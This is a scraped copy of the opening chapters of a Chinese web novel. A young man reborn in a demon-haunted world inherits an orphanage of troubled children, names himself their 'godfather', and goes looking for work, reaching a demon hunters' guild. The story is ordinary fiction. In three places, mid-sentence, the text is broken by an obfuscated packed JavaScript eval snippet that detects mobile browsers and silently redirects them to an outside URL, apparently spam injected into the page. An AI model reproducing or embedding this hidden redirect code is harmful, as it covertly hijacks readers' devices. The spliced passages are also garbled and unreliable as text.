《在猎魔世界继承孤儿院后成为教父》 1. 开局继承孤儿院 如果时间能够重来，莫离最想要做的不是去买自己记下的二十年多年来的彩票号码，也不是去买十万股红彤彤的股票，而是绝对不会在左脚迈出餐厅后再把右脚也迈出去。 1月15日下午三点，墨丽城发生了一起特别的车祸。 之所以特别，是因为该起车祸没有肇事司机——这车是无人驾驶的试验车。 之所以特别，是因为该起车祸只造成了唯一一起伤亡——死的只有刚从餐厅走出来的莫离。 那间餐厅是墨丽城最人迹罕至的小众餐厅，平时别说车了，连人都没几个，车祸发生的可能性小之又小。 但莫离就是这样被车创死了，成功证明在郊外的餐厅门口被车撞死的可能性不为零。 离谱得写进小说里都会被读者喷上几百层楼。 一想到这事儿，莫离就不禁抬头望天，叹气： 唉，命运就是比坏了的红绿灯还要无常的东西。 一阵风吹过来，莫离额前的发丝顿时趁乱殴打脸颊，更显凄凉。 就在莫离差点儿触景生情想高歌一曲时，一道怯生生的声音阻止了他一展歌喉 ——“院长爸爸，现在可以吃饭了吗？” 这声音很稚嫩，不过五六岁，明明应该是软糯的，此刻却小心翼翼，强作镇定。 莫离回过头，再低头，一个金发碧眼的小孩子映入眼帘。 小女孩看起来比真实年纪要瘦小，穿着一身陈旧的裙子，上面绣的蕾丝花都已经秃了变成一根根丝。 莫离蹲下来，摸了摸小女孩的头。 小女孩名叫莉芙娅，今年五岁，身上的裙子据说从刚进孤儿院时就已经穿着了。 莉芙娅怯懦地望着莫离，浅淡的眉毛微蹙，小心试探的话再次从喉咙吐出：“院长爸爸，您肯定很饿了吧？您什么时候吃面包？可以给也很饿的哥哥姐姐们分一点点吗，如果可以的话莉芙娅也想吃一点点，一点点就好。” 如此懂事的话一出，莫离的心顿时一紧，心情从悲怆中回到现实。 是啊，他现在已经成了一座孤儿院的院长。 已经来到一个陌生的残酷世界。 - 五天前，被车创死的莫离睁开眼发现自己穿越到了另一个陌生的世界。 那会儿天气比今天还要晴朗一些，刚穿越过来的他正站在路边思考自己是不是在做梦…… 恰好一个路过的女人跟他打招呼，他顺势问了女人一些问题。 女人叫托莉娜，慈眉善目，眼窝深邃，有着一头扎得很整齐的浅棕发，身上穿着洗得发白的宽松女仆装，看起来像是谁家外出采购的仆人。 托莉娜不仅耐心地回答了莫离的问题，还夸赞莫离的黑发非常美丽，和她的孩子一样。 莫离：……外国人都喜欢夸别人吗？我现在在意的不仅仅是这个问题啊！ “所以你们这儿除了各种机构，执政高层还有什么？还有你刚刚说的恶魔、诡异又是什么东西？” 恶魔和诡异该不会是电影里经常出现的那种可怕生物吧？ 托莉娜晃了晃手中的篮子：“啊，如果你想要知道更多事情的话，等我为孩子们筹来吃的之后再来找你吧。 或者你去这条路尽头右转过两个转角的那座院子等我回去，我是那儿的院长。 你一个东方人来到这地方肯定惶恐不安吧，我知道这种心情，所以我会把你想知道的都告诉你。” “那行，谢谢你。”老实说莫离脑子还是一团浆糊，但托莉娜有自己的事情要做，他也不好再追问。 就在莫离和托莉娜告别那一刻，四周的空气好像静止了一瞬间。 一瞬间不能发生什么，一瞬间又能发生一切意外。 莫离感觉这一瞬间仿佛过了一个世纪，时间和空间都被放慢一倍又一倍。 而在这一瞬间，死亡被骤然撕碎。 上一秒还在跟他聊天的托莉娜下一秒身首异处！ 托莉娜身子瘫倒在地，血液从断掉的脖子喷涌而出，大片的鲜红几乎刺痛莫离的眼睛，让他头晕目眩。 他看到了！有一个看不清楚模样的黑影一口咬断了托莉娜的脑袋…… 我靠————————————————厉声的尖叫从莫离喉咙里冲出，他的心情在顷刻间变得疯狂： 这到底是怎么回事！！！ 不知道过了多久，喊哑的莫离愣愣地捡起地上的篮子，拖着疲惫的身躯缓缓走向路的尽头。 他来到两个转角后的那座孤儿院，给孩子们带回院长已经死亡的不幸消息。 所以说，命运真是无常啊…… - 莫离低垂眼睑，努力让自己的声音平静：“莉芙娅，虽然很抱歉，但我还是要告诉你，院里已经没有吃的了。” 听到这话，莉芙娅稚嫩的脸闪过一丝失望，翠绿的眼睛黯淡几分。 “先进去吧，外面风有些大。”莫离牵着莉芙娅的手往面前的屋子走去。 来到这儿之后，除了自杀，莫离什么都试过了，可依旧没能成功穿越回去。 看来穿越真的没那么简单……莫离感叹一句，最终接受自己确实继承了一座孤儿院的事实。 这所孤儿院规模小得可怕，连带矮墙围起来的院子总共只有两百平方米。屋子只有上下两层，除此之外还有一间小阁楼。 推开门后，首先是大厅。说是大厅，其实就只摆了一张桌子和几张椅子，其余东西再也摆不下了。 而此时此刻，本就逼仄的桌子围坐着五个小孩。 莫离一个一个看过去。 经过五天的相处，他基本摸清了几个小孩子的性格。 右边第一个小男孩叫莫利亚，今年九岁，年龄排第二。 他穿着襟口已经磨花的短袖衬衫，浅金发浅蓝瞳，皮肤略白，似乎有点洁癖，脸和手时刻保持着洁净，口袋也放着一张洗得非常干净的手帕。 脾气说好也不好，说坏也不坏，就是有些倔。 右边靠里红棕发浅褐瞳的小男孩叫胡安迪，今年八岁半，年龄排第三。 胡安迪是一个有着小麦色皮肤的瘦小孩子，眼睛很大，笑起来还有酒窝，身上穿着灰色的外衫。 脾气算是这群小孩最好的了，性格也很活泼，从来不会愁眉苦眼。 中间的小女孩叫凯文瑞，今年七岁，年龄排第四。 凯文瑞穿着花布裙子，五官非常俊俏，而且是非常漂亮的蓝宝石般的眼睛，即便年纪还小都能窥见日后容颜的惊艳，一头掺白的柔顺金发披在肩上为她添了几分乖巧。 脾气嘛，看起来很听话，实际上心眼好像蛮多的。不过莫离不讨厌聪明的小孩。 左边靠里面的是一个嬉皮笑脸的小男孩，叫斯特洛。 他和凯文瑞是双胞胎姐弟，有着同样的金发，只是少了几缕白色。 也有着同样的蓝宝石般的眼睛，璀璨夺目，好看得能让人忽略他穿的是花布外衫。 但斯特洛这个小孩非常调皮，总是捣乱不正经，再好看在他眼里都显得不好看。 这不，现在还在上蹿下跳像机关枪一样突突突地追问什么时候吃饭。 像个邪恶小孩。 左边靠外正在咳嗽的小男孩叫道格，是最让莫离不忍直视的小孩子。 不仅因为他有着和他一样的黑发，一样的黑瞳，令人亲切，更因为他身体很弱，常年生病。 六岁的年纪，有五年时光是在各种病中度过的，皮肤都因为足不出户而显出病态、脆弱的苍白。 至于脾气，心有余而力不足吧。 这些小孩子性格各异，对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498434|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫离来说非常难搞。 天知道他今年才二十二岁，别说小孩了，连女朋友都没有！让他照顾小孩不亚于赤手空拳上战场！ 邪恶小孩斯特洛就不说了，比如他的亲姐姐凯文瑞，经常明里暗里讽刺身边所有人，将氛围弄得奇怪难堪。 还有莫利亚，对自己的东西具有极度的占有欲，会对碰了一下自己的东西的人大打出手。 胡安迪性格活泼却也胆小，非得人陪着才敢睡觉； 道格身体需要调理，生病也要多加小心，就连现在他手里牵着的莉芙娅也容易应激。 一个个都不是省心的。 不过……最难搞的还是现在没到场，估计还待在房间里的大姐。 那个昨天刚和莫利亚打过一架，名叫艾琳薇的女孩。 莫离深知要让这群小孩子听自己的话并不容易。小孩子身心还没发育成熟，所见即所得，往往更在乎自己的感受。 而且仔细想想，托莉娜根本没有跟他说过这些小孩子的身世，他还得自己调查。 莉芙娅和胡安迪很乖，会回答他的问题，但胡安迪是半个月前才来的孤儿院，知道的并不多，莉芙娅来这儿虽然有一年，可应激起来还得他哄。 所以他根本不知道这群孩子到底是怎么回事。 他只知道胡安迪是被州处置局安排过来的孩子。他的父母在一个月前被恶魔带走了。 当初听到这个回答时，莫离心头一颤。 到底是“带”走，还是“带走”，莫离很清楚。 可胡安迪这个天真的小男孩还以为自己的父母只是被恶魔邀请，总有一天会回来的，还说恶魔先生太霸道了，请客不写请柬。 甚至问他恶魔先生是不是不喜欢小孩子，为什么不把他也带走？ 彼时的莫离喉咙发紧，怎么也说不了话，只能说了句是的，恶魔先生不喜欢小孩。 他最终还是没有把残酷真相告诉胡安迪。 “嘿院长大叔，告诉我告诉我告诉我告诉我！快点儿告诉我，我们到底什么时候吃晚餐？！”上蹿下跳的斯特洛一屁股坐到椅子上，用双手用力捶着桌面大声问。 大、大叔？难道我看起来那么老吗？莫离嘴角抽了抽。 “斯特洛，我们不能让院长叔叔难堪，你知道的，这间屋子已经没什么吃的了，你这样子做只会让院长叔叔更加羞愧为什么没能照顾好我们。知道吗？”正在慢条斯理给娃娃梳头的凯文瑞轻抬眼皮瞥了眼斯特洛。 看起来像在和斯特洛说话，实际上在说谁不言而喻。 “那又怎么样？我肚子饿了一整天，必须要吃东西！”斯特洛小脸一皱，又开始上蹿下跳拿各种东西敲来敲去，“我要吃面包！我要喝浓汤！我要吃烤鸡！我要吃奶酪派！” 他举着碗盆和壁画到处挥舞，时不时敲打两下，活脱脱一个小无赖。 “喂斯特洛，你把灰尘弄到我身上了！快跟我道歉！”莫利亚嫌恶地拿出胸前口袋里的手帕，用力地搓了两下根本没有沾灰的脸。 莫离知道自己必须要做点儿什么来让这群小孩听话。 他要树立威严。对，威严，能让人听话的东西。 提起威严，莫离脑子里闪过伴随他整个青春时代的噩梦——教导主任。 故乡尊师重教，对于小孩而言，老师这一身份代表的威严可远比其他身份要有含金量，试问谁听到地中海教导主任的声音能不应激？ 摆出教导主任的姿态他就不信哪个小孩能冷静！ 有了主意的莫离清了清喉咙，语调压沉：“都给我坐好！” 话音刚落，吵吵闹闹的大厅霎时安静，斯特洛敲打东西的手僵在半空。 其他孩子则吃了一惊，万万没想到看起来毫无威严甚至有些稚嫩的莫离严肃起来整张脸都是黑的…… 2. 教父先生（教父日常） “所有人都给我坐好来。” 莫离觑着眼，学着教导主任那样语调压沉，慢悠悠说话。 几个孩子被他这副模样镇住，不得不坐好，尤其是斯特洛，表情讪讪放下碗盆。 见孩子们安静下来，莫离感慨，早知道刚来那会儿就用这个办法了。 现实告诉他，做慈父是不行的，要做个严父。 “凯文瑞。” 莫离叫了一声凯文瑞的名字，正将娃娃放平膝盖的凯文瑞动作一滞。 他拉长语调，不徐不缓道：“你说得对，我们院里已经没有什么吃的了。你知道为什么吗？因为有些可爱的娃娃太喜欢吃东西，三更半夜去厨房的壁柜偷偷拿走奶酪和面包。” 话音刚落，凯文瑞手指收拢，猛地抬眼看向莫离。 莫离一脸平静。 其他小孩就没那么镇定了，什么意思？有人偷吃？ 他们纷纷望向凯文瑞，目光疑惑：凯文瑞，你知道他在说什么吗？ 凯文瑞遭受不住这样的注视，很快低下头。 莫离又慢慢地将视线移到斯特洛身上，“没有面包，没有浓汤，没有奶酪派，只有听话的孩子能吃东西。” 斯特洛想反驳：“托莉娜大妈不是这样的！” 托莉娜会给他们吃面包，绝不会让他们忍冻挨饿，这个男人在胡说！ “但她已经死了，不是么？” 莫离睨向斯特洛，狭长灿灿的桃花眼微眯，黑棕色瞳仁里自带的深情荡然无存，只剩下威严。 低沉的话让斯特洛身子一颤，是啊，他怎么能忘了，托莉娜大妈已经死了！ 这所孤儿院已经是这个男人的掌中物了！ 斯特洛总算意识到自己的处境，旋即像姐姐凯文瑞那样低下头，不敢再言。 其他孩子看见最刺头的斯特洛都已经噤声，哪儿敢再说话，纷纷坐直身子。 见所有孩子正襟危坐，小脸绷紧露出前所未有的听话模样，莫离很满意，甚至得意。 看来管孩子也没那么难，赤手空拳上战场的他万一是绿巨人呢？ 莫离压住唇边的笑，趁热打铁树立威严。 首先得给自己安个身份，比如教导主任？不不，自己不至于地中海，而且这称呼太长了，主任，主人，像误入什么字母圈，不能给孩子们留下不良影响。 老大？听起来像混混组织，别人看到一群小孩喊自己老大，说不定会发出疑问：你是正经人吗？ 老师？也不是不行，“莫老师”怪好听的，但是以身份来看，自己不仅仅承担教导孩子的责任，还得负责抚养孩子。 莫离脑子快速转动，想到自己身处世界的背景，既当爹又当老师…… 那不就是教父？ 他打定主意，继续严肃道：“从今天开始，我就是你们的教父。你们知道的，我是一个东方人，东方和西方，是不一样的。 我没有托莉娜那么伟大，让你们白吃白喝。我们讲究一句话——天下没有免费的午餐。想要吃东西，必须要做到我要求的事情。” 几个小孩面面相觑，一切尽在不言中：新来的院长要动真格了…… 凯文瑞抬起头，蓝眼睛一转。 她神情镇定，故作请求意思： “教父先生，那我想问问，怎么样才算听话？不说托莉娜阿姨了，就算是我们以前的家教先生也说过，不合理的话不能听，即使那从你们大人口中说出来。” 凯文瑞意识到如果莫离今天真的建立起不可侵犯的威严，她的一切行动都将被束缚在牢笼里，做什么都得看莫离的眼色。 那太糟糕了！她必须要开口，为以后自己留有余地。 莫离知道会有孩子反对自己，早有准备。 他微微一笑：“当然，大人的话有时候也是很没道理的。” 凯文瑞眼睛保持着光亮，期待着他说出一些例外，但是他话锋一转：“不过……这跟你们要听话有什么关系呢？” “你们必须要知道一个道理，谁有买面包的能力谁才有话语权。” 凯文瑞：？！ 其他孩子：？？什么意思？ 莫离不再多言，让孩子们自己猜伟人的话。 他弯腰摸了摸似懂非懂僵着脸的莉芙娅的头，对胡安迪招招手示意他过来。 胡安迪看了看莫离，又看了看周围的兄弟姐妹，神情惊愕不知所措，纠结一会儿后连忙跑到莫离面前。 莫离第一个给胡安迪安排任务：“胡安迪，你的任务是帮我照顾好莉芙娅和道格。我不在这里，你就是我。” 胡安迪：？ “教父先生，您的意思是……”他张大嘴巴迟迟说不出话。 “对，只要我不在，他们都得听你的话。”莫离点点头。 斯特洛不服气，凭什么胡安迪当老大？ 他蠢蠢欲动，莫离一个眼神过去他才克制住自己的手脚。 “至于你们，任务就是好好待在这里，哪儿都不许去。记住了，听话的孩子才能吃东西。” 莫离眼帘轻抬，将视线扫过在场的其他孩子。 孩子们错愕不已。 胡安迪手扶莉芙娅的肩膀，大得像电灯泡的浅褐色眼睛露出复杂的疑惑。 威严已经初步建立，接下来就是物质基础。时过五日，身无分文还得养活一群孩子的莫离不得不踏出工作的第一步。 “我现在走了。今天晚上七刻钟之前如果我没有回来，你们就不用等我了。”莫离语气顿了几秒，“到那时候，就等下一个院长来吧。” 他抛下这句话便拉开门迈步走进风里，穿着黑色衬衫和外套的背影比风更冷肃。 留下屋子里几个噤声的小孩你看我我看你。 静默片刻后。 斯特洛率先站起身，用力一敲桌子上的碗盆，“我不管，我是绝对不会听你的话的，胡安迪。至于院长大叔，说不定再也不会回来了！” 他抛下这句话就跑回房间了。 凯文瑞没说话，抱起娃娃转身离开，漂亮的脸蛋闪过一丝厌恶。 “胡安迪，做好准备吧，迎接下一个院长。”莫利亚一边折手帕，一边提醒胡安迪几人。 话罢，他将手帕塞回衬衫口袋，脚步优雅地也返回房间了。 被临时任命的胡安迪只剩下道格和莉芙娅两个支持者，表情纠结复杂。 道格咳了几声，抬起漆黑黯淡的眼睛看向胡安迪，鼓励道：“胡安迪哥哥，不用担心，教父先生不会轻易离开的，我们在他回来前好好照顾莉芙娅吧。” 莉芙娅懵懵懂懂地重复一遍道格的话：“胡安迪哥哥，不要担心，教父先生不会轻易离开的。” 胡安迪这才露出一抹苦笑，揉了揉莉芙娅毛茸茸的脑袋：“好吧。” 不一会儿他耷拉下的卷毛重新扬起来，苦笑化作灿烂的笑，酒窝像盛着甜丝丝的蜂蜜：“那就让我们好好等教父先生回来吧！” - 东部哥利亚城奥德里尔区，爱尼雅最冷清的景色。 它的人口本就比其他城区要少，最近因为有恶魔现身，死亡案件急剧增加，人变得更少了。 莫离穿过几条路口，路过好几间空屋这才来到有人声的街道上。 途中再次经过与托莉娜初遇的路口，他脸色微变。 在托莉娜死后，奥德里尔区警察局处理了现场。原先遍地血腥的地面被简单清洗，只留下一层浅淡的印记。 莫离凝望了好几分钟地上那层象征死亡的印记，后脊发凉。 就在那里，托莉娜死了！ “小伙子，你最近找到工作了吗？” 一个每天出门给警察局清洗衣服的妇人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498435|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到莫离，问道。 妇人叫玛丽，是个心善的女士，自从得知托莉娜被恶魔杀死后就很留意孤儿院的情况，当天晚上还接济了孤儿院一筐面包和一盘生肉。 然而接济不是长久之计，她能帮助的很有限，只能时不时向身边人打探有没有工作岗位，转头介绍给莫离。 莫离摇摇头：“抱歉玛丽女士，您给我介绍的工作实在不合适。 早上道格起床后容易发烧，我需要照顾他，我还得给孩子们准备早餐，虽然我手艺不太好，但是您知道的，哪怕是最大的艾琳薇也才十岁，根本不会做饭，必须由我来做。 所以给人送信的工作我做不了。 至于巡逻的夜班，我也无法胜任，因为胡安迪睡觉需要人陪，否则他一整夜都睡不着，莉芙娅也得有人陪护。” 莫离只是简单做了几天照顾小孩的工作受不了了，难受得像裸/着身子在滚烫的沙滩上翻滚！ 而他听说托莉娜当孤儿院的院长已经好几年了，做这些事情不说两年也有一年！ 她简直是个超人！ “哦，那我会帮你找一份能在家里做的工作。”玛丽遗憾道。 想起什么，她从挎在腰间的大箱子里拿出一个面包递给莫离：“小伙子，我只剩下一个面包了，拿回去给孩子们吃吧。” 莫离赶紧拒绝：“不不玛丽女士，还是您留着吧。” 玛丽女士家里还有个瘫痪的儿子要照顾，家庭情况并没有比孤儿院要好多少。 玛丽举着的手没有收回去，莫离知道她在担心什么，马上笑道：“玛丽女士，我现在正去找工作，相信很快就能让孩子们吃饱饭了，您不用担心。” 玛丽还在担忧，莫离能找到什么工作呢？报酬够吗？会很辛苦吗？ 莫离继续道：“我会找一份报酬高的工作，以后就不需要操心经济了！” 玛丽这才收回面包。 - 不远处的楼上，立于阳台的几个人望了过来。 那个穿着简单长裙的年轻女士看清楚莫离的脸，吃惊地捂嘴：“天呐，那位就是那所孤儿院的新院长吗？怎么那么年轻？” 这男人虽然是个东方面孔，但眉眼看起来很年轻，容貌秀丽，扎起马尾的长发柔顺乌黑，乍一看真像个女人。 她身侧那位一头卷发，姿态优雅的年长女人在扇子后张唇：“托莉娜那么固执，没想到最后死得那么惨，太可惜了。不过说句实话，她眼光实在太差，竟然找了个东方男人接管孤儿院。她难道不知道人越年轻，越容易崩溃吗。” “赫朵，你说得对，这个男人太年轻，很快就会死。”站在卷发女人赫朵身后的男人接话。 他留着一抹小胡子，身着笔挺的黑色西服，看起来四十岁左右，只看几眼莫离便语调矜持地做出判断。 “真的吗？格莱斯先生，他真的会很快死吗？”年轻女士其实不想莫离那么快死。 她是个天然不希望所有长得好看的人遭受不幸的家伙，俗称“颜控”。 莫离长得很好看，说实话，她只看一眼就开始希望他能活得久一些了。 格莱斯侧目看向年轻女士：“妮兰，难道你不知道那只［灾祸级］恶魔已经降临奥德里尔区了吗？且不说他，这片区域的人也很快会死。” ［灾祸级］恶魔降临奥德里尔区了吗？被称作“妮兰”的年轻女士皱起眉头，“猎魔人可以出手的吧？” 她好看的绿色眼睛泛起波澜，扭头望向一直沉默不语站在角落的年轻男人。 年轻男人有着一头浅金短发，眉目深邃，浅金色瞳仁波澜不惊。 他叫拉斯尔韦，今年二十五岁，正是奥德里尔区猎魔组织的人。 拉斯尔韦面色冷静，回答：“抱歉妮兰小姐，上面已经发话，我们这一次不能对这只［灾祸级］恶魔出手。” 3. 做嘎嘎哒累过搬砖（猎魔日常） “那还真是遗憾。”妮兰摇摇头。上面的人都发话了，他们这些局外人还能做什么呢？ 他们只是听说托莉娜女士死于恶魔之手来看看接管孤儿院的男人怎么样，并不负责保护这个男人。 现在看来，这个有着东方面孔的男人毫无特别之处，不知道为什么托莉娜会选择他。 格莱斯有了动静，转身：“等他死了，我们就接管那所孤儿院，不管怎么样，我们都不能让格尔公爵的女儿陷入危险。” “当然，那可是我的可爱小侄女啊。”赫朵把扇子合起，轻笑一声跟着格莱斯回屋下楼。 “走吧，妮兰小姐。”拉斯尔韦微微欠身作邀，妮兰收回视线，心里祈祷着莫离不要死了，也跟着三人离开了。 - 莫离走在路上，状似无意地掠看四周景色。 典型的二十世纪初西方建筑，但是一问维多利亚，身边人都说不认识。 经过几天调查，莫离对这个世界有了大概了解。 这个世界没有一个联合所有人的最高组织或者权威政府，只有割据各领地的政权。 有的领地由国王掌握军政，初步建立起民主会议，有的领地则由民主政府治理，有执政官联盟，但更多的领地由各领主割据一方。 而他所在的爱尼雅是一个有十万平方公里的小型领地。爱尼雅底下还有一些城市和城区村镇，人种、居民生活习惯、建筑深度乍一看和影视剧的西方还真没什么大差别。 但是，现实是这个世界和那些地方有着绝对残酷的区别—— 这个世界有恶魔和诡异存在。 莫离暂时还不知道恶魔和诡异具体什么样、有什么能力，只知道大家对此讳莫如深。 老实说他对恶魔和诡异这种生物有点害怕，毕竟托莉娜就是在他眼前被恶魔杀害的，杀人不眨眼又神秘莫测，哪个正常人能不害怕？ 托莉娜离世的那一晚有很多人出现在孤儿院，警察局的人、处置局的人、还有玛丽这样的好心人和看热闹的人，陆陆续续踏进孤儿院，又陆陆续续离开孤儿院。 接受各种调查问话的莫离迷迷糊糊，半天没反应过来。等到意识清醒了，莫离转头又得照顾几个孩子，根本没空去思考什么。 直到今天孤儿院财政、食物资源出现严重危机，赚钱养孩子迫在眉睫，莫离才不得不出门 至于自己离开孤儿院几个孩子怎么办，听天由命吧，自己都未必能活着回去。 谁知道自己会不会转角遇到恶魔，像托莉娜那样惨遭毒手？ 莫离打定主意，要做高报酬、自由度高的工作。 他一路问过去，一路人都在说他脑子糊涂了，异想天开，世界上根本不会有这样的好工作。 这简直比早上能给面包完美涂满黄油还要困难！ 第N次被路人告知“这份工作只有在晚上才能做，因为晚上才能做梦！”的莫离站在路边，略显尴尬地在风中凌乱。 好在他本人表情淡淡，没人能看出他其实有点难绷了。 这时一个观察了莫离很久的年轻人走过来。他穿着一身普通的深灰色便装，头发乌亮，举止礼貌：“先生，请问你是不是很需要钱？” 莫离：？ 他狐疑着应道：“是，怎么了？” “那太好了！”年轻人松了口气。 他一边引接莫离朝前走，一边说：“我家小姐打算给你一份工作，她很喜欢你，即使她才见你第一面，不过这不重要，重要的是她愿意付给你每日十枚银币的价钱，你只需要陪她一块做些可爱的事情就好了。” 每日十枚银币，相当于一千块钱。 话罢，年轻人已经将莫离领到一辆锃亮的小汽车前。 一位金发小姐坐在复古的汽车里，面朝莫离，面容羞怯又激动。 可爱的事情？莫离很难绷，他这是被人看上当/鸭/子吗？ 已经度过人生前二十二年的莫离对自己的容貌非常有自知之明——自己的脸很好看。 这个不用多说，但凡有点脑子的、正常的建模怪都不会觉得自己丑，那些说什么不知道自己长得好看的建模怪纯纯骗人。 但莫离还是很疑惑，从一个诡异的角度思考起来： 难道自己的脸是诈骗广告，莫名其妙能骗来一群不仅只看脸，而且还神志不清的人？ 从小到大，多少男男女女对他的脸说“爱过”，甚至曾有大佬豪掷三百万想让他当金丝雀、地下情人。 一度让莫离觉得事情太过诡异，真有人只看脸就爱上吗？ 那金发小姐看着莫离，脸颊飞上红晕。 眼前这个男人皮肤冷白，桃花眼灿灿，脸型流畅，鼻梁笔挺，唇型饱满，唇下还有一枚小痣，最重要的是还有一头柔顺乌黑富有光泽的长发，衬得他容颜美而不妖，迷人得像一株带有露水的白玫瑰。 虽然这个男人和身边的人风格完全不同，但她承认她喜欢上他了，为此付出一点小钱让他满足自己也未尝不可！ 她微微抬起潋滟的眼望着莫离：”先生，请问您考虑得如何呢？” 莫离从回忆中回过神，张唇：“哦，抱歉啊，我身体不太行。” 金发小姐：？欸？ “请问是哪方面呢？”她追问。 莫离垂目，认真道：“不久前我被恶魔掏走了一颗肾、半片肺以及被吸走了500cc的血，现在刚出院不久，不仅身体不行，还欠了医院一堆钱，负债累累。” “？” 雷霆的话让金发小姐张了张嘴，半信半疑，“如果真是这样，您怎么还活着呢？” 此时的小姐还不知道一个事情的真相：过往的那些人都是被莫离张口就来的谎言劝退的…… 莫离满嘴跑火车：“你知道的，恶魔嘛，有各种奇怪的能力折磨人类，它毁坏我的身体就是为了让我痛苦，让我永远也体会不到爱欲的快乐。” 金发小姐脸色难看古怪：“……” 一阵风吹过来，将莫离的长发拍到脸上。 莫离微微俯身，清冽淡漠的话继续小声传入金发小姐耳中：“实不相瞒，我家里还要几个孩子在等着我赚钱回去给他们买吃的喝的，他们最小的还得喝奶，根本离不开我。 如果，我是说如果，你想要我陪你，可能得当着他们的面，让他们守在一边。你懂的，小孩子爱分享，说不定第二天整个奥德里尔就传遍这件事。虽然这很刺激，我也并不介意，但是你应该也不想这事儿被其他人知道吧？” “？！”金发小姐听到莫离这话，涨红了脸，又羞又恼。 “你，你在胡说什么！”她提高音量，忍住给莫离甩一巴掌的冲动，扭过头：“快走，胡立奥快走！这里有个神经病！” 金发小姐让年轻人上车，火一般驾车离去，生怕自己第一次找情人却出师不利的事情被人发现。 被称作“神经病”的莫离直起身，淡定地拢了拢正殴打脸的鬓边刘海。 虽然触手可及的金钱对现在的莫离诱惑很大，但是莫离谨记隔壁张叔告诉他的话——做/鸭辛苦过搬砖！ 说这话的隔壁张叔整日萎靡不振，仿佛被人吸干了精气。 因此，从小听隔壁张叔劝诫的莫离对此深信不疑，义正辞严（满嘴跑火车）地拒绝（欺骗）了所有企图让他做情人的男男女女…… 拒绝了一项“肥差”的莫离继续往前走，总算在一座顶宏伟的建筑前停了下来。 ——“小伙子，想要钱多事儿少的好差事？好啊好啊，我正好知道有这样的工作！你往前走，在那栋漂亮的楼里，随随便便一项工作报酬都足够你三餐带饭后甜点吃上一个月！” 莫离一边想着上个路口遇到的醉鬼大叔的话，一边抬头看向建筑上的挂牌——“猎魔公会”。 不看不知道，一看吓一跳。 醉鬼大叔介绍的工作居然是当猎魔人？！ 狂放的“猎魔公会”一行字在天空下显得深沉昏暗，透出一股肃杀之气。 不过有点道理，猎魔人工作应该只有猎杀恶魔这一项工作，而且刀尖上舔血的工作报酬应该不低。 符合钱多事儿少。 莫离想了想，走了进去。 年轻的女人守在前台后，睡得正香。她那头卷起的红棕短发像一片云朵，遮住她上班时间摸鱼打瞌睡的脸。 本来莫离还想着叫醒她，没想到刚一走近，女人就睁开了眼睛。 眼里清明，毫无睡意。 她看到莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498436|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离，眼里闪过一丝惊艳与疑惑，惊艳莫离的容颜，疑惑莫离是男是女。 “你好，是想来上报恶魔踪迹的还是想认领尸体和失物的？”女人询问。 上报恶魔踪迹，就是普通人遇到关于恶魔或者诡异的可疑踪迹，前来登记给猎魔公会，猎魔公会会发布赏单，让底下的猎魔人去接任务； 认领尸体和失物，就是来认领猎魔人在任务过程中带回来的尸体和遇害者的贵重物品，当然，有些恶魔喜欢吃人，尸体未必是完整的。 按经验来看，女人觉得莫离是来认领尸体的。此男人面色冷淡，看起来像是经历了三天的绝望折磨。 女人的直觉不错，莫离确实被孩子折磨了几天。 没想到，莫离既没有选择登记也没有选择认领东西，而是问道：“你们这里是不是会收人当猎魔人？” 女人还没来得及错愕莫离的话，几个猎魔人从建筑深处走了出来。 他们听到莫离的话，眼里疑惑和嘲笑毫不遮掩。 “这小娘们还是小白脸迷路了吧，还想做猎魔人？”身穿长袖束口衣、脚踩靴子的刀疤壮男对身边人笑道。 旁边另一个壮男故作严肃：“别笑，万一他就是想做正经工作呢？”下一秒也笑了起来：“哈哈哈哈，但我觉得他会一下子被恶魔拧断头！” 第三个相同打扮的男人手作断头手势，嘲笑着莫离很快就会这样死掉。 莫离听着这些嘲笑，面色不改。 可刚刚脸色还算平和的女人听到这些话，脸色骤冷，像狮子狰狞朝那几个猎魔人震慑吼道：“喂！敢赶跑我的业绩，我把你们当恶魔杀了！” 此副模样吓得几个男人马上噤声，连莫离都震惊这女人反差那么大。 “卡罗莱，别那么生气，我们只是在看玩笑，而且你看看他不是确实很弱吗？”刀疤男有所收敛，但还是没把莫离放在眼里。 他断定莫离弱不禁风，不仅仅因为莫离毫无震慑力的脸，更因为莫离的个子。 太瘦小了，看起来只有一米八，不超过一百二十斤吧？ 脖子细手细腰细腿也细，感觉一巴掌扇过去就能倒在地上睡起觉来！ “嗤，别忘了有些人能契约厉害的恶魔，是你们根本比不过的。”卡罗莱啧了一声，让他们赶快走，别说些有的没的。 契约恶魔？他们这里不是猎魔组织吗？怎么还能契约恶魔？ 